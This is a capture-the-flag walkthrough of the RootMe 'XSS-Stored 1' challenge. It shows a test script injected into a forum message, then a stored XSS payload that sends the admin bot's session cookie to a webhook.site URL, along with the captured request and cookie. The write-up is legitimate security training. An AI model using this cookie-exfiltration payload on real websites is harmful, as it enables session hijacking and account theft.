

XSS-Stored 1 CTF Writeup

This document is a walkthrough on one way to solve the **XSS-Stored 1** CTF on **RootMe**.
The objective is to explain how I was able to solve this CTF to my future self.

General Information

- *Difficulty:* **Easy/Medium**
- *Category:* Web
- *Link:* [XSS-Stored 1 - RootMe](#)

Solution

XSS - Stored 1

30 Points

So easy to exploit

Author
g0uZ, 3 March 2012

Level

Validations
39942 Challengers

Note
★★★★★ 2306 Votes

Statement
Steal the administrator session cookie and use it to validate this chall.

We're greeted to this website, where we can input a Title and Message

Forum v0.001

Status: visitor

Title:

Message:

Posted messages:

Welcome
N'hésitez pas à me laisser un message / Feel free to leave a message

Upon input, the website displays it on our client, and it remains even if we leave the page, hinting at the fact that the server is externally stores it somewhere, let's exploit that !

message enregistré / content saved

Title:

Message:

Posted messages:

Welcome
N'hésitez pas à me laisser un message / Feel free to leave a message

Test Title
Test Message

Now, the goal of the challenge as stated in the description, is to steal the **admin cookie**.

Note: Since this is a CTF and we're in a simulated environment, we can't rely on other clients to use the website at the same time as us, so we can suppose that the admin cookie is held by a bot, which will visit the website after a short period of time.

Now, let's inject the following script in Message: `<script>alert(document.cookie)</script>`

Title:

Message:

challenge01.root-me.org says

```
_ga=GA1.1.2135010049.1726148492;
_cmp_a=%7B%22purposes%22%3A%7B%22p%22%3Afalse%2
C%22a%22%3Afalse%2C%22m%22%3Afalse%2C%22t%22%3Atrue%
7D%2C%22display_banner%22%3A
true%2C%22sale_of_data_region%22%3Afalse%7D;
_tracking_consent=%7B%22con%22%3A%7
B%22CMP%22%3A%7B%22a%22%3A%220%22%2C%22m%22%3A%
220%22%2C%22p%22%3A%220%22%2C%22s
%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22reg
ion%22%3A%22FRIDF%22%2C%22reg%2
2%3A%22%22%2C%22purposes%22%3A%7B%22p%22%3Afalse%2C
%22a%22%3Afalse%2C%22m%22%3Af
```

OK

Two things to note from the screenshots above. First of all, we've managed to successfully inject code into the website's system. Upon loading the page, the stored script that we sent as input was read as code by the website, and executed. Second of all, the cookies that were printed out are some general tracking cookies from Google, which we don't care about.

Now, when the admin bot visits the website, what if we executed a script that sent his personal cookie to an external source, accessible by us. We can do exactly that using a **Webhook**. We'll use this link as our access point: <https://webhook.site/#!/view/3e62d484-91f6-41a4-b0ea-29076ec149ff>

Moreover, there's an attribute called **HttpOnly** on cookies, which basically means that it can only be sent/accessed when sent through Http Requests, which a webhook does, so that shouldn't be a problem

Using the webhook, we'll inject the following script in Message:

```
<script>window.location='https://webhook.site/3e62d484-91f6-41a4-b0ea-29076ec149ff?c='+document.cookie;</script>
```

Title:


Test

Message:

```
<script>window.location='https://webhook.site/3e62d
484-91f6-41a4-b0ea-29076ec149ff?
c='+document.cookie;</script>
```

send

Request Details

GET	https://webhook.site/3e62d484-91f6-41a4-b0ea-29076ec149ff?c=ADMIN_COOKIE=Nkl9qe4cdLIO2P7MIsWS8o...					
Host	2001:bc8:35b0:c166::151	Whois	Shodan	Netify	Censys	VirusTotal
Date	08/01/2025 21:43:06 (24 minutes ago)					
Size	0 bytes					
Time	0.000 sec					
ID	70954035-c63b-41f1-9534-837de6b9ab76					
Note	 Add Note					

Query strings

```
C ADMIN_COOKIE=NkI9qe4cdLIO2P7MISWS8ofD6
```

No content

After some time, by looking at the results that our webhook has received, we see that the bot has given us the following admin cookie: **VHRwrkNJXou0Ea3KoeOlkKd1nmhdl6IBG3D9RvK1**